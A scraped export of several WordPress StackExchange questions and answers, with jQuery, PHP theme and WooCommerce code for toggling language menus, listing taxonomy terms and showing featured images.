&lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt; &lt;title&gt;Paramo Galeria&lt;/title&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class( $awesome_classes ); ?&gt;&gt; &lt;section&gt; &lt;div class="topBar"&gt; &lt;img src="&lt;?php header_image();?&gt;" height="120px;" width="100px;" alt=""/ class="siteLogo"&gt; &lt;div class="topBarMiddle"&gt; &lt;p class="toggles"&gt;&lt;span class="spanish"&gt;español&lt;/span&gt; | &lt;span class="english"&gt;english&lt;/span&gt;&lt;/p&gt; &lt;div class="topBarRight"&gt; &lt;nav&gt; &lt;a class="burger-nav"&gt;&lt;/a&gt; &lt;ul class="englishNav"&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/home"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/artists"&gt;Artists&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/exhibitions"&gt;Exhibitions&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/offsite"&gt;Offsite&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/shop"&gt;Shop&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/contact"&gt; Contact&lt;/a&gt;&lt;/li&gt; &lt;li style="padding-top:50px;"&gt;&lt;i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-twitter fa-1.5x"&gt;&lt;/i&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul class="spanishNav"&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/home"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/artists"&gt;Artistsio&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/exhibitions"&gt;Exhibitions&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/offsite"&gt;Offsite&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/shop"&gt;Shop&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://localhost:8888/ParamoGaleria/contact"&gt; Contact&lt;/a&gt;&lt;/li&gt; &lt;li style="padding-top:50px;"&gt;&lt;i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"&gt;&lt;/i&gt;&lt;i class="fa fa-twitter fa-1.5x"&gt;&lt;/i&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/nav&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; </code></pre> <p>index </p> <pre><code>&lt;?php get_header(); ?&gt; &lt;?php if( have_posts() ): while( have_posts() ): the_post(); ?&gt; &lt;p&gt;&lt;?php the_content(); ?&gt;&lt;/p&gt; &lt;?php endwhile; endif; ?&gt; &lt;?php get_footer(); ?&gt; </code></pre>
[ { "answer_id": 284977, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 1, "selected": false, "text": "<p>You can have an <strong>ajax</strong> action that sent the data to the <strong>backend</strong> populat...
2017/11/05
[ "https://wordpress.stackexchange.com/questions/284997", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130812/" ]
EDIT - This is solved thank you for your help after the suggestions below didn't solve the problem I refreshed my browser cashe and now my functions work... However I then realized they only work on the home page. creating a separate thread for that. Thank you for you help!!! the new thread is here [jQuery functions only work on homepage](https://wordpress.stackexchange.com/questions/285006/jquery-functions-only-work-on-homepage) I am trying to make an text-decoration:underline; on active function on a p span "spanish | english" in WordPress. I got it working here in this jsfiddle <https://jsfiddle.net/TonyTheOnly/k92ayp24/> Same html and css as in the jsfiddle and here is the jQuery i am using for WP. ``` jQuery(document).ready(function () { "use strict"; jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); ``` Any Help is greatly appreciated and thank you for your time. EDIT here is my full functions ``` <?php function paramo_script_enqueue() { wp_enqueue_style('customstyle', get_template_directory_uri() . '/css/paramo.css', array(), '1.0.0', 'all'); wp_enqueue_script('customjs', get_template_directory_uri() . '/js/paramo.js', array('jquery'), '1.0.0', true); } add_action('wp_enqueue_scripts', 'paramo_script_enqueue'); function paramo_theme_setup() { add_theme_support('menus'); register_nav_menu('primary', 'Primary Header Navigation'); register_nav_menu('secondary', 'Footer Navigation'); } add_action('init', 'paramo_theme_setup'); add_theme_support('custom-header'); function enqueue_our_required_stylesheets(){ wp_enqueue_style('font-awesome', get_stylesheet_directory_uri() . '/css/font-awesome.css'); } add_action('wp_enqueue_scripts','enqueue_our_required_stylesheets'); ``` Full.js file ``` /*global $, jQuery, alert*/ jQuery.noConflict(); jQuery(document).ready(function () { "use strict"; jQuery(".burger-nav").on("click", function () { jQuery("nav ul").toggleClass("open"); }); jQuery(".spanish").on("click", function () { jQuery(".englishNav").hide(); jQuery(".spanishNav").show(); }); jQuery(".english").on("click", function () { jQuery(".englishNav").show(); jQuery(".spanishNav").hide(); }); jQuery('.toggles span').click(function () { jQuery(".toggles span").removeClass("active"); jQuery(this).addClass("active"); }); }); ``` full header ``` <!doctype html> <html> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Paramo Galeria</title> <?php wp_head(); ?> </head> <body <?php body_class( $awesome_classes ); ?>> <section> <div class="topBar"> <img src="<?php header_image();?>" height="120px;" width="100px;" alt=""/ class="siteLogo"> <div class="topBarMiddle"> <p class="toggles"><span class="spanish">español</span> | <span class="english">english</span></p> <div class="topBarRight"> <nav> <a class="burger-nav"></a> <ul class="englishNav"> <li><a href="http://localhost:8888/ParamoGaleria/home">Home</a></li> <li><a href="http://localhost:8888/ParamoGaleria/artists">Artists</a></li> <li><a href="http://localhost:8888/ParamoGaleria/exhibitions">Exhibitions</a></li> <li><a href="http://localhost:8888/ParamoGaleria/offsite">Offsite</a></li> <li><a href="http://localhost:8888/ParamoGaleria/shop">Shop</a></li> <li><a href="http://localhost:8888/ParamoGaleria/contact"> Contact</a></li> <li style="padding-top:50px;"><i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-twitter fa-1.5x"></i></li> </ul> <ul class="spanishNav"> <li><a href="http://localhost:8888/ParamoGaleria/home">Home</a></li> <li><a href="http://localhost:8888/ParamoGaleria/artists">Artistsio</a></li> <li><a href="http://localhost:8888/ParamoGaleria/exhibitions">Exhibitions</a></li> <li><a href="http://localhost:8888/ParamoGaleria/offsite">Offsite</a></li> <li><a href="http://localhost:8888/ParamoGaleria/shop">Shop</a></li> <li><a href="http://localhost:8888/ParamoGaleria/contact"> Contact</a></li> <li style="padding-top:50px;"><i class="fa fa-facebook fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-instagram fa-1.5x" style="padding-right:10px;"></i><i class="fa fa-twitter fa-1.5x"></i></li> </ul> </nav> </div> </div> </section> ``` index ``` <?php get_header(); ?> <?php if( have_posts() ): while( have_posts() ): the_post(); ?> <p><?php the_content(); ?></p> <?php endwhile; endif; ?> <?php get_footer(); ?> ```
You can have an **ajax** action that sent the data to the **backend** populate the table and return the success or the errors back. You can use this actions ``` add_action('wp_ajax_*', 'custom_table_insert'); add_action('wp_ajax_nopriv_*', 'custom_table_insert'); // anonymous users ``` This will give you more control and ultimately a far better user experience. // Ajax Request template ``` jQuery.ajax({ url : your_settings_object.ajax_url, type : 'post', data : { action : 'wp_ajax_*', table_content : table_content }, success : function( response ) { alert(response) } }); ``` Note: your\_settings\_object is a custom object that use to transfer global variables from backend to JS Also the table\_content is your variable to pass the data and you can take them from the PHP with `$_POST['table_content']`
285,021
<p>I use the get_post_term code from <a href="https://codex.wordpress.org/Function_Reference/wp_get_post_terms" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/wp_get_post_terms</a>. I can retrieve the selected taxonomy term from the current post but the displayed value looks like this: Array ( [0] => Taxonomy Term). I only want the taxonomy term in the frontend.</p> <p><code>//Returns Array of Term Names for "my_taxonomy" $term_list = wp_get_post_terms($post-&gt;ID, 'my_taxonomy', array("fields" =&gt; "names")); print_r($term_list);</code></p> <p>Does someone know how to only display the selected taxonomy term?</p>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only ne...
2017/11/05
[ "https://wordpress.stackexchange.com/questions/285021", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130914/" ]
I use the get\_post\_term code from <https://codex.wordpress.org/Function_Reference/wp_get_post_terms>. I can retrieve the selected taxonomy term from the current post but the displayed value looks like this: Array ( [0] => Taxonomy Term). I only want the taxonomy term in the frontend. `//Returns Array of Term Names for "my_taxonomy" $term_list = wp_get_post_terms($post->ID, 'my_taxonomy', array("fields" => "names")); print_r($term_list);` Does someone know how to only display the selected taxonomy term?
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,022
<p>I am using 2017 theme and I want to thumbnail to the posts which appears on my site homepage, thumbnail appearing when we visit post but doesn't appear on homepage<a href="https://i.stack.imgur.com/rcRwy.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rcRwy.jpg" alt="enter image description here"></a></p>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only ne...
2017/11/05
[ "https://wordpress.stackexchange.com/questions/285022", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130919/" ]
I am using 2017 theme and I want to thumbnail to the posts which appears on my site homepage, thumbnail appearing when we visit post but doesn't appear on homepage[![enter image description here](https://i.stack.imgur.com/rcRwy.jpg)](https://i.stack.imgur.com/rcRwy.jpg)
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,050
<p>Simplifying how I currently show featured posts, when a post is submitted by a full member, a post_meta value is added to the post which is then styled differently. </p> <p>But Id like to do it based on the post authors, user role instead. </p> <p>So if a the user who submitted the post is a "full_member", their post is automatically featured without the need for post_meta to be queried. </p> <p>I've tried something like this which is in the archive template loop, and just adds a "featured-listing" class to a wrapping div, but I don't think I'm looking at it in the correct way. </p> <pre><code> &lt;?php $user = wp_get_current_user(); if ( in_array( 'full_member', (array) $user-&gt;roles ) ) { ?&gt; featured-listing &lt;?php } ?&gt; </code></pre> <p><strong>EDIT</strong></p> <p>Part 1 has been resolved using Nathan's original answer for the class issue , his answer has expanded since then which doesnt work for me, so ive pasted the solution that did work below : </p> <pre><code>//* If the post author is a full member, they get a featured listing function which_class() { return post_author_role_in( 'full_member' ) ? 'featured-listing' : 'regular-listing'; } //* Determine if the post author is in the $role function post_author_role_in( $role ) { return in_the_loop() ? user_role_in( get_the_author_meta( 'ID' ), $role ) : false; } //* Determine if the $user_id is in the $role function user_role_in( $user_id, $role ) { return in_array( $role, ( new WP_User( $user_id ) )-&gt;roles ); } </code></pre> <p><strong>Part 2 However I still need a solution for</strong></p> <p><em>Id still like to use a conditional</em> to completely hide certain elements within the template, is there an <strong>IF condition</strong> which says something like <code>IF post author is in X role, display this, else display this</code>. ?</p> <p>Please advise :)</p>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only ne...
2017/11/05
[ "https://wordpress.stackexchange.com/questions/285050", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62291/" ]
Simplifying how I currently show featured posts, when a post is submitted by a full member, a post\_meta value is added to the post which is then styled differently. But Id like to do it based on the post authors, user role instead. So if a the user who submitted the post is a "full\_member", their post is automatically featured without the need for post\_meta to be queried. I've tried something like this which is in the archive template loop, and just adds a "featured-listing" class to a wrapping div, but I don't think I'm looking at it in the correct way. ``` <?php $user = wp_get_current_user(); if ( in_array( 'full_member', (array) $user->roles ) ) { ?> featured-listing <?php } ?> ``` **EDIT** Part 1 has been resolved using Nathan's original answer for the class issue , his answer has expanded since then which doesnt work for me, so ive pasted the solution that did work below : ``` //* If the post author is a full member, they get a featured listing function which_class() { return post_author_role_in( 'full_member' ) ? 'featured-listing' : 'regular-listing'; } //* Determine if the post author is in the $role function post_author_role_in( $role ) { return in_the_loop() ? user_role_in( get_the_author_meta( 'ID' ), $role ) : false; } //* Determine if the $user_id is in the $role function user_role_in( $user_id, $role ) { return in_array( $role, ( new WP_User( $user_id ) )->roles ); } ``` **Part 2 However I still need a solution for** *Id still like to use a conditional* to completely hide certain elements within the template, is there an **IF condition** which says something like `IF post author is in X role, display this, else display this`. ? Please advise :)
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,066
<p>Have an issue where I have a series of pages loaded into a websites index using code shown bellow:</p> <pre><code>&lt;?php $id = 1767; $p = get_page($id); echo apply_filters('the_content', $p-&gt;post_content); ?&gt; </code></pre> <p>But the information from these pages are not respecting Private and Draft status. Normally this is fine with me. But a couple of them are either to me scheduled updates. But no matter what the pages status is it's visible to an unlogged in reader of the page in all browsers I've tried.</p> <p>I have done some reading about the <code>page_status</code> code but I'm too much of a layman to work out how to get it to work.</p> <p>Help and advice most welcome. Thanks</p> <p>Ok thanks Piyush Rawat. I implemented the follow. Works correctly as far as I can tell.</p> <pre><code>&lt;?php $id = 2841; $p = get_page($id); if ( get_post_status ( $id ) == 'publish' ) { echo apply_filters('the_content', $p-&gt;post_content); } ?&gt; </code></pre>
[ { "answer_id": 285098, "author": "Moe", "author_id": 130914, "author_profile": "https://wordpress.stackexchange.com/users/130914", "pm_score": 0, "selected": false, "text": "<p>It works with this code to show only the name, however the output is displayed in small characters so I only ne...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285066", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130948/" ]
Have an issue where I have a series of pages loaded into a websites index using code shown bellow: ``` <?php $id = 1767; $p = get_page($id); echo apply_filters('the_content', $p->post_content); ?> ``` But the information from these pages are not respecting Private and Draft status. Normally this is fine with me. But a couple of them are either to me scheduled updates. But no matter what the pages status is it's visible to an unlogged in reader of the page in all browsers I've tried. I have done some reading about the `page_status` code but I'm too much of a layman to work out how to get it to work. Help and advice most welcome. Thanks Ok thanks Piyush Rawat. I implemented the follow. Works correctly as far as I can tell. ``` <?php $id = 2841; $p = get_page($id); if ( get_post_status ( $id ) == 'publish' ) { echo apply_filters('the_content', $p->post_content); } ?> ```
Assuming the taxonomy name is "animals" ``` <?php //This will show all the terms in taxonomy whether they have posts or not thus the "hide_empty" $terms = get_terms( array ( 'taxonomy' => 'animals', 'hide_empty' => false, 'parent' => 0, 'orderby' => 'description', 'order' => 'ASC' )); foreach ($terms as $term) { // The $term is an object, so we can get the names. //use var_dump($term) to see other options available echo $name = $term->name; } ?> ```
285,068
<p>I am using the postman for the check the REST API Call in WooCommerce. When I call the Woocommerce Defaults API. It displays the error like.</p> <pre><code>{ "code": "woocommerce_rest_cannot_create", "message": "Sorry, you are not allowed to create resources.", "data": { "status": 401 } } </code></pre> <p>The above error displays when the Basic Authentication and POST method of Create Customers API.</p> <p>And when I am Trying to Call the Display products API with the cURL </p> <pre><code>http://example.com/wp-json/wc/v2/products </code></pre> <p>Using the GET Methods from postman it will display the following error.</p> <pre><code>{ "code": "woocommerce_rest_cannot_view", "message": "Sorry, you cannot list resources.", "data": { "status": 401 } } </code></pre> <p>It would be great if anyone saving me from this headache. Thanks.. </p>
[ { "answer_id": 306770, "author": "Ajay Ghaghretiya", "author_id": 125557, "author_profile": "https://wordpress.stackexchange.com/users/125557", "pm_score": 2, "selected": true, "text": "<p>I got the solution for it. Use the Basic Authentication from the Postman.</p>\n\n<p>Thanks</p>\n" ...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285068", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125557/" ]
I am using the postman for the check the REST API Call in WooCommerce. When I call the Woocommerce Defaults API. It displays the error like. ``` { "code": "woocommerce_rest_cannot_create", "message": "Sorry, you are not allowed to create resources.", "data": { "status": 401 } } ``` The above error displays when the Basic Authentication and POST method of Create Customers API. And when I am Trying to Call the Display products API with the cURL ``` http://example.com/wp-json/wc/v2/products ``` Using the GET Methods from postman it will display the following error. ``` { "code": "woocommerce_rest_cannot_view", "message": "Sorry, you cannot list resources.", "data": { "status": 401 } } ``` It would be great if anyone saving me from this headache. Thanks..
I got the solution for it. Use the Basic Authentication from the Postman. Thanks
285,093
<p>I am trying to display the terms from a taxonomy on my archive page but I am struggling to display the terms name, here is what I have so far:</p> <pre><code>if ($post-&gt;post_type == 'cpt_saving') { $categories = get_the_terms($post-&gt;ID, 'cpt_saving-type'); if ($categories) { $categories['name']; } $stack = [ 'title' =&gt; get_field('savings_headline', $post_id), 'image' =&gt; get_field('savings_supplier_logo', $post_id), 'reference' =&gt; get_field('savings_reference', $post_id), 'date' =&gt; get_the_date('l j F Y'), 'link' =&gt; get_the_permalink(), 'term' =&gt; $categories-&gt;name, ]; get_template_partial('partials/savings/savings-item', $stack); } </code></pre> <p>As I have $stack as my array how would I call the taxonomy terms name to display it on the front end?</p>
[ { "answer_id": 285089, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 2, "selected": false, "text": "<p>Apache only runs the index.php of WordPress, and serves static files (images, css, js etc). WP does all the re...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285093", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/38592/" ]
I am trying to display the terms from a taxonomy on my archive page but I am struggling to display the terms name, here is what I have so far: ``` if ($post->post_type == 'cpt_saving') { $categories = get_the_terms($post->ID, 'cpt_saving-type'); if ($categories) { $categories['name']; } $stack = [ 'title' => get_field('savings_headline', $post_id), 'image' => get_field('savings_supplier_logo', $post_id), 'reference' => get_field('savings_reference', $post_id), 'date' => get_the_date('l j F Y'), 'link' => get_the_permalink(), 'term' => $categories->name, ]; get_template_partial('partials/savings/savings-item', $stack); } ``` As I have $stack as my array how would I call the taxonomy terms name to display it on the front end?
Apache only runs the index.php of WordPress, and serves static files (images, css, js etc). WP does all the rest, including parsing the request to find out what content to show the user. Apache does not (and needs not) know that there is communication with a data base in PHP, and doesn't interact with that database itself at any point. That's also why you don't necessarily need Apache in the equation, you could also use nginx or other webservers (as long as they offer a way to run php), or no external webserver at all and just use php's internal webserver (though that's mostly for development, idk how well this holds up in production).
285,105
<p>Is it possible to use multiple years with a date query like this -</p> <pre><code>$args = array( 'posts_per_page' =&gt; '-1', 'date_query' =&gt; array( array( 'year' =&gt; array( 2016, 2017 ) ), ), ); $posts = new WP_Query(array( $args ) ); </code></pre> <p>I tried this but it doesn't work</p> <pre><code>'year' =&gt; array( 2016, 2017 ) </code></pre>
[ { "answer_id": 285108, "author": "jaswrks", "author_id": 81760, "author_profile": "https://wordpress.stackexchange.com/users/81760", "pm_score": 3, "selected": true, "text": "<p>You can use <code>before</code> and <code>after</code>, see <a href=\"https://developer.wordpress.org/referenc...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285105", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104464/" ]
Is it possible to use multiple years with a date query like this - ``` $args = array( 'posts_per_page' => '-1', 'date_query' => array( array( 'year' => array( 2016, 2017 ) ), ), ); $posts = new WP_Query(array( $args ) ); ``` I tried this but it doesn't work ``` 'year' => array( 2016, 2017 ) ```
You can use `before` and `after`, see [date arguments](https://developer.wordpress.org/reference/classes/wp_query/#date-parameters). ``` $args = array( 'posts_per_page' => '-1', 'date_query' => array( array( 'after' => 'December 31st, 2015', // i.e., 2016+. 'before' => 'January 1st, 2018', // i.e., before 2018. ), ), ); $query = new WP_Query( $args ); ``` --- Based on an [article](https://alex.blog/2013/08/27/date-queries-in-wordpress-3-point-7/) written by one of the date query committers, it looks like you can use `AND` `OR` logic date queries too. So you can also do this. ``` $args = array( 'posts_per_page' => '-1', 'date_query' => array( 'relation' => 'OR', array( 'year' => 2016 ), array( 'year' => 2017 ), ), ); $query = new WP_Query( $args ); ``` --- All possible arguments according to that author. ``` 'date_query' => array( 'column' => 'optional, column to query against, default is post_date', 'compare' => 'optional, see WP_Date_Query::get_compare()', 'relation' => 'optional, OR or AND, how the sub-arrays should be compared, default is AND', array( 'column' => 'see above', 'compare' => 'see above', 'after' => 'string or array, see WP_Date_Query::build_mysql_datetime()', 'before' => 'string or array, see WP_Date_Query::build_mysql_datetime()', 'inclusive' => 'boolean, for after/before, whether exact value should be matched or not', 'year' => '4 digit int', 'month' => 'int, 1-12', 'week' => 'int, 0-53', 'day' => 'int, 1-31', 'hour' => 'int, 0-23', 'minute' => 'int, 0-60', 'second' => 'int, 0-60', ), array( ... ), .. ), ```
285,113
<p>I'm retrieving event data from ajax load more plugin using hooks. The requirement is I need to validate the days needed to retrieve. That events 10 days after their end date, they will not be shown in result.</p> <pre><code>$args = [ 'post_status' =&gt; 'publish', 'post_type' =&gt; array(TribeEvents::POSTTYPE), 'posts_per_page' =&gt; 20, 'meta_key' =&gt; '_EventStartDate', 'orderby' =&gt; '_EventStartDate', 'order' =&gt; 'ASC', 'offset' =&gt; $offset, 'meta_query' =&gt; [ 'key' =&gt; '_EventEndDate', 'value' =&gt; '_EventEndDate INTERVAL 10 DAY', // &lt;-- this part 'compare' =&gt; '&gt;=', 'type' =&gt; 'DATE' ] ]; </code></pre> <p>But ofcourse it does not work and doesn't shown anything in my end. The problem is I needed the <strong>_EventEndDate</strong> to add 10 days but the current solution does not work.</p>
[ { "answer_id": 285121, "author": "Nicolai Grossherr", "author_id": 22534, "author_profile": "https://wordpress.stackexchange.com/users/22534", "pm_score": 1, "selected": false, "text": "<p>Use an <code>array</code> for <code>value</code>, so <code>[ $begin, $end ]</code>. For <code>compa...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285113", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/44259/" ]
I'm retrieving event data from ajax load more plugin using hooks. The requirement is I need to validate the days needed to retrieve. That events 10 days after their end date, they will not be shown in result. ``` $args = [ 'post_status' => 'publish', 'post_type' => array(TribeEvents::POSTTYPE), 'posts_per_page' => 20, 'meta_key' => '_EventStartDate', 'orderby' => '_EventStartDate', 'order' => 'ASC', 'offset' => $offset, 'meta_query' => [ 'key' => '_EventEndDate', 'value' => '_EventEndDate INTERVAL 10 DAY', // <-- this part 'compare' => '>=', 'type' => 'DATE' ] ]; ``` But ofcourse it does not work and doesn't shown anything in my end. The problem is I needed the **\_EventEndDate** to add 10 days but the current solution does not work.
On top of my head this should be something like: ``` 'meta_query' => [ 'key' => '_EventEndDate', 'value' => [ $start, $end ], 'compare' => 'BETWEEN', 'type' => 'DATETIME' ] ``` You would need to calculate boundaries yourself before passing to the query in this case. See [Custom Field Parameters](https://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters) in Codex for full documentation on parameters available for meta queries.
285,119
<p>I've got this query:</p> <pre><code>$tenantsInfo = $wpdb-&gt;get_results("SELECT * FROM exp_ten WHERE tenant_number = " . (int) $user-&gt;ID); </code></pre> <p>I use some echo to show data on frontend:</p> <pre><code>if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "&lt;h2&gt;Welcome," . " " .$tenant-&gt;tenant_name. "&lt;/h2&gt;"; </code></pre> <p>When data, like tenant's name contains apostrophe, no data is displayed on frontend.</p> <p>Could somebody please help me change mysql statement so apostrophe could be escaped? Or maybe there is different solution?</p> <p>Thanks in advance!</p>
[ { "answer_id": 285122, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>As this is not clear how you get the data inside the <code>exp_ten</code> table I would suggest use the...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285119", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125541/" ]
I've got this query: ``` $tenantsInfo = $wpdb->get_results("SELECT * FROM exp_ten WHERE tenant_number = " . (int) $user->ID); ``` I use some echo to show data on frontend: ``` if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "<h2>Welcome," . " " .$tenant->tenant_name. "</h2>"; ``` When data, like tenant's name contains apostrophe, no data is displayed on frontend. Could somebody please help me change mysql statement so apostrophe could be escaped? Or maybe there is different solution? Thanks in advance!
Use [`esc_html()`](https://developer.wordpress.org/reference/functions/esc_html/) when outputting a string value inside tags. Use [`esc_attr()`](https://developer.wordpress.org/reference/functions/esc_attr/) when you're outputting a string value inside an `attribute=""`. If you're outputting a URL, use [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) instead of those two. ``` if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "<h2>Welcome, " . esc_html( $tenant->tenant_name ) . "</h2>"; } } ```
285,147
<p>I have few transient options in my plugin with an expiry time of 45 minutes. After that, they hit an API to get the response. Now in some cases, the server throws an exception or throttles the user in case there is a limit on request per second. Now in such, scenario I still want to render the response and the only way seems to me right now is to somehow restore the expired transient in case of throttling exception from the server. Any thoughts on ways to restore expired transients or any other better approach?</p>
[ { "answer_id": 285122, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>As this is not clear how you get the data inside the <code>exp_ten</code> table I would suggest use the...
2017/11/06
[ "https://wordpress.stackexchange.com/questions/285147", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/116770/" ]
I have few transient options in my plugin with an expiry time of 45 minutes. After that, they hit an API to get the response. Now in some cases, the server throws an exception or throttles the user in case there is a limit on request per second. Now in such, scenario I still want to render the response and the only way seems to me right now is to somehow restore the expired transient in case of throttling exception from the server. Any thoughts on ways to restore expired transients or any other better approach?
Use [`esc_html()`](https://developer.wordpress.org/reference/functions/esc_html/) when outputting a string value inside tags. Use [`esc_attr()`](https://developer.wordpress.org/reference/functions/esc_attr/) when you're outputting a string value inside an `attribute=""`. If you're outputting a URL, use [`esc_url()`](https://developer.wordpress.org/reference/functions/esc_url/) instead of those two. ``` if ($tenantsInfo) { foreach ($tenantsInfo as $tenant) { echo "<h2>Welcome, " . esc_html( $tenant->tenant_name ) . "</h2>"; } } ```
285,192
<p>I have a custom theme in which I have a woocommerce.php file to display the shop homepage. This is simply:</p> <pre><code>get_header(); ?&gt; &lt;div id="primary" class="content-area"&gt; &lt;main id="main" class="site-main"&gt; &lt;div id="page-header-image"&gt; &lt;?php the_post_thumbnail(); ?&gt; &lt;/div&gt; &lt;?php woocommerce_content(); ?&gt; &lt;/main&gt;&lt;!-- #main --&gt; &lt;/div&gt;&lt;!-- #primary --&gt; &lt;?php get_footer(); </code></pre> <p>However, <code>the_post_thumbnail();</code> shows the featured image of the first product on the page.</p> <p>How can I show the Page featured image not the products?</p> <p>Thanks</p>
[ { "answer_id": 285292, "author": "Steviehype", "author_id": 67612, "author_profile": "https://wordpress.stackexchange.com/users/67612", "pm_score": 0, "selected": false, "text": "<p>Well, in case it's of use to anyone else heres what I did. </p>\n\n<p>I couldn't find an obvious way so I ...
2017/11/07
[ "https://wordpress.stackexchange.com/questions/285192", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/67612/" ]
I have a custom theme in which I have a woocommerce.php file to display the shop homepage. This is simply: ``` get_header(); ?> <div id="primary" class="content-area"> <main id="main" class="site-main"> <div id="page-header-image"> <?php the_post_thumbnail(); ?> </div> <?php woocommerce_content(); ?> </main><!-- #main --> </div><!-- #primary --> <?php get_footer(); ``` However, `the_post_thumbnail();` shows the featured image of the first product on the page. How can I show the Page featured image not the products? Thanks
